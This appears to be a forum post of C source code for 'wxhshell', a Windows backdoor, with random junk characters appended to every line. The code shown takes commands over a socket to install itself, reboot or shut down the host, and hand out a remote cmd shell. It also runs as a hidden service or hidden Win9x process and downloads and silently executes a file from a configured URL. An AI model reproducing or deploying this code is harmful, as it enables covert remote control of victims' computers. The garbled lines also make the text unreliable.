  3"!2C,3c#  
  // 帮助 )!p=0&z@{  
  case '?': { 6Z|/M6f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &RpQ2*4n  
    break; A CJmy2  
  } BJ~Q\Si6  
  // 安装 ~F>oNbJIv  
  case 'i': { kzgH p,;R{  
    if(Install()) )v8;\1`s:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k/!Vv#8  
    else M ~.w:~Jm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LDr!d1A  
    break; Ri aO`|1  
    } EmG`ga)s  
  // 卸载 C[? itk!  
  case 'r': { @+B .<@V  
    if(Uninstall()) C6CX{IA]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @QVAsNW:O  
    else IS]03_uQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Mrz$ z{x  
    break; m'oVqA&  
    } Joq9.%7Q  
  // 显示 wxhshell 所在路径 q.~.1 '`!  
  case 'p': { 26.iFt/:  
    char svExeFile[MAX_PATH]; fx%'7/+  
    strcpy(svExeFile,"\n\r"); ^fXNeBj  
      strcat(svExeFile,ExeFile); HSp*lHU  
        send(wsh,svExeFile,strlen(svExeFile),0); RE!MX>sOEq  
    break; H*EQ%BLW^,  
    } DT n=WGm)  
  // 重启 %!p14c*J H  
  case 'b': { vy@;zrs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6SlE>b9tA  
    if(Boot(REBOOT)) 0!_D M^3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }+i ZY\t  
    else { SX/yY  
    closesocket(wsh); =?vk n  
    ExitThread(0); f1hi\p0q  
    } VH,k EbJ  
    break; f+%J=Am  
    } D\N-ye1LE  
  // 关机 BAdHGwomh  
  case 'd': { p^ 9QYR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \TC&/'7}  
    if(Boot(SHUTDOWN)) 0ydAdgD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #e+%;5\  
    else { /$&~0pk  
    closesocket(wsh); 0 6 K8|K  
    ExitThread(0); `H+ 7Hj  
    } <s]K~ Vo  
    break; i "62+  
    } b (;"p-^  
  // 获取shell i*W8_C:S  
  case 's': { ,'={/)c<  
    CmdShell(wsh); MvL%*("4b  
    closesocket(wsh); XuoI19V[  
    ExitThread(0); WI[6 l6  
    break; <)?H98S  
  } {BY`Wu:w  
  // 退出 q|=tt(}G  
  case 'x': { dH#S69>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mZ ONxR6q$  
    CloseIt(wsh); 3(E"$Se,f  
    break; X OJ/$y  
    } Crm](Z?  
  // 离开 QRgWzaI  
  case 'q': { C&zgt :q6}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z})H$]:$  
    closesocket(wsh); 1g2%f9G  
    WSACleanup(); xf% ,UQ  
    exit(1); )1~4Tl,S  
    break; kH-1l>":  
        }  ZMg%/C  
  } TLPy/,  
  } J j yQ  
{ tim{nV  
  // 提示信息 XMa(XOnX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gigDrf}  
} >(`|oD`,Y  
  } qaG%PH}a  
P,_GTs3/G  
  return; *)L%pH>`  
} D@>P%k$$s>  
j%]i#iqF  
// shell模块句柄 s:jr/ j!  
int CmdShell(SOCKET sock) !i.`m-J*  
{ 7bQ#M )}  
STARTUPINFO si; #9#N+  
ZeroMemory(&si,sizeof(si)); PrDvRWM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @DU]XKv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Uc<B)7{'  
PROCESS_INFORMATION ProcessInfo; 0N_Ma')i  
char cmdline[]="cmd"; =WJ*$j(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); az F"tke  
  return 0; oopTo51,a  
} $T1 D ?X  
$-5iwZ  
// 自身启动模式 8^c|9ow  
int StartFromService(void) \1aj!)  
{ VskyRxfdW3  
typedef struct xg. d)n  
{ 1a/@eqF''  
  DWORD ExitStatus; |~8iNcIS  
  DWORD PebBaseAddress; GB^Ch YOb  
  DWORD AffinityMask; goIn7ei92  
  DWORD BasePriority; ]*sXISg1  
  ULONG UniqueProcessId; sJt&`kZ  
  ULONG InheritedFromUniqueProcessId; |Wi$@sWO  
}   PROCESS_BASIC_INFORMATION; S%mN6b~{  
+]`MdOu  
PROCNTQSIP NtQueryInformationProcess; _BHb0zeot  
9.#\GI ;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .;/@k%>   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5W 5\  *L  
^0~?3t5  
  HANDLE             hProcess; V8[woJ5x  
  PROCESS_BASIC_INFORMATION pbi; lJ R",_  
CuT[V?^iD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UKMrR9[x*  
  if(NULL == hInst ) return 0; jW?.>(  
&P[eA u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /_26D0}UuF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3$(1LN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p`33`25  
DH)@8)C  
  if (!NtQueryInformationProcess) return 0; -.ha\t0J  
FyZw='D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s-o0N{b?#'  
  if(!hProcess) return 0; }"Hf/{E$_"  
C1)TEkc"C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,t*#o&+  
f o4j^,`  
  CloseHandle(hProcess); VAsaJ`vcb  
224I%x.,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {j ${i  
if(hProcess==NULL) return 0; t}_qtO7>  
[KVBT;q6  
HMODULE hMod; i7cMe8  
char procName[255]; RUYw D tC  
unsigned long cbNeeded; 3~a!h3.f  
J@p[v3W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iNd 8M V  
i7mT<w>?  
  CloseHandle(hProcess); }`h)+Im=  
qD7# q]  
if(strstr(procName,"services")) return 1; // 以服务启动 )z2Tm4>iql  
$-jj%x\}  
  return 0; // 注册表启动 `:-{8Vo7  
} ^qS[2Dy  
?`,Xb.NA$K  
// 主模块 hi`\3B  
int StartWxhshell(LPSTR lpCmdLine) Q$iv27  
{ 6_^ u}me  
  SOCKET wsl; H2E!A2\m  
BOOL val=TRUE; j:O=9  
  int port=0; >m44U 9   
  struct sockaddr_in door; F4YCU$V  
~BDVmQa  
  if(wscfg.ws_autoins) Install(); .Rd@,3  
4g$mz:vo  
port=atoi(lpCmdLine); K /g\x0  
;jo,&C  
if(port<=0) port=wscfg.ws_port; ncu &<j}U  
f,)[f M4  
  WSADATA data; l`[*b_ Xt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tceQn ^|<  
5ok3q@1_]{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {y`afuiB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jc-0.^]E}  
  door.sin_family = AF_INET; R1&(VK{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kzbgy)PK3  
  door.sin_port = htons(port); )o SFHf  
<&t^&6k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zYbSv~)  
closesocket(wsl); M$FQoRwH  
return 1; [8^j wnAYS  
} S^c5  
&b iBm  
  if(listen(wsl,2) == INVALID_SOCKET) { 1Ty{k^%  
closesocket(wsl); <q~&g &&+  
return 1; uV#/Lgw{M  
} zX"@QB3E  
  Wxhshell(wsl); z%hB=V!~91  
  WSACleanup(); :05>~bn>pC  
d-#MRl$rtK  
return 0; cW/RH.N  
ZcYxH|Gn  
} sG%Q?&-  
F7E #x  
// 以NT服务方式启动 ";J1$a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 51*o&:eim  
{ l=Jbuc  
DWORD   status = 0; @-NdgM<  
  DWORD   specificError = 0xfffffff; |4\.",Bg  
0mF3Vs`-Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IMmoq={ (z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;4z6="<Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vnw83a%3  
  serviceStatus.dwWin32ExitCode     = 0; `$JPF  Z  
  serviceStatus.dwServiceSpecificExitCode = 0; ((SN We  
  serviceStatus.dwCheckPoint       = 0; qq]ZkT}   
  serviceStatus.dwWaitHint       = 0; JY(_}AAu  
$*Njvr7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &DYHkG  
  if (hServiceStatusHandle==0) return; ^*C8BzcH  
exiCy 1[+  
status = GetLastError(); ' &^:@V  
  if (status!=NO_ERROR) od"Oq?~/t  
{ /VgA}[%y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V&-pgxf;  
    serviceStatus.dwCheckPoint       = 0; ac6L3=u\  
    serviceStatus.dwWaitHint       = 0; %?' jyK  
    serviceStatus.dwWin32ExitCode     = status; ;_@u@$=~  
    serviceStatus.dwServiceSpecificExitCode = specificError; (%rO'X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qSlC@@.>  
    return; [>A%%  
  } fLa 7d?4  
y[UTuFv~Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; npkE [JE:  
  serviceStatus.dwCheckPoint       = 0; yEJ}!/  
  serviceStatus.dwWaitHint       = 0; EEEYNu/4/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4yV}4f$q  
} 1mz;4xb  
JQP7>W  
// 处理NT服务事件,比如:启动、停止 u7=`u/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QeuIAs*_  
{ w^s|YF=c  
switch(fdwControl) _n,Ye&m  
{ gI~R u8  
case SERVICE_CONTROL_STOP: 02g}}{be8  
  serviceStatus.dwWin32ExitCode = 0; 4nmc(CHQ:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g""1f%U_p  
  serviceStatus.dwCheckPoint   = 0; g)u ~GA*=  
  serviceStatus.dwWaitHint     = 0; iq)4/3"6  
  { y/Fv4<X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6J9^:gXW~  
  } ykrb/j|rK  
  return; %>_ZUu3M  
case SERVICE_CONTROL_PAUSE: .S>:-j'u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1@JAY!yoo_  
  break; Bd*:y qi  
case SERVICE_CONTROL_CONTINUE: H4ml0SS^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _w/w~;7  
  break; ijOUv6=-  
case SERVICE_CONTROL_INTERROGATE: ma)Y@Uw M  
  break; Q|q.~x<RQ  
}; CvW*/d q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xp"ZK=r  
} <t>"b|fW  
MDGD*Qn~  
// 标准应用程序主函数 Z& e_yl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sPuNwVX>}I  
{ 8<#X]I_eP+  
\R#]}g0!  
// 获取操作系统版本 bnt>j0E  
OsIsNt=GetOsVer(); y=_8ae}aD~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'te4mY}  
AP&mr1_  
  // 从命令行安装 g)c<\%  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8XZS BR(Z  
PzbLbH8A  
  // 下载执行文件 *^e06xc:  
if(wscfg.ws_downexe) { fA{[H:*}G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qN% i$mJTo  
  WinExec(wscfg.ws_filenam,SW_HIDE); A0Pg|M  
} tu8n1W  
&i179Qg!  
if(!OsIsNt) { xs y5"  
// 如果时win9x,隐藏进程并且设置为注册表启动 T2|dFKeWG  
HideProc(); 6K501!70g6  
StartWxhshell(lpCmdLine); ;WxE0Q:!~  
} ` 1aEV#;  
else MwMv[];I  
  if(StartFromService()) ^}vLZA  
  // 以服务方式启动 ~jWG U-m  
  StartServiceCtrlDispatcher(DispatchTable); c@!%.# |y  
else qT7E"|.$  
  // 普通方式启动 <\l@`x96"D  
  StartWxhshell(lpCmdLine); OPH f9T3H  
oKjQ? 4  
return 0; \6~(# y  
}
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只看该作者 1 发表于: 2006-10-10
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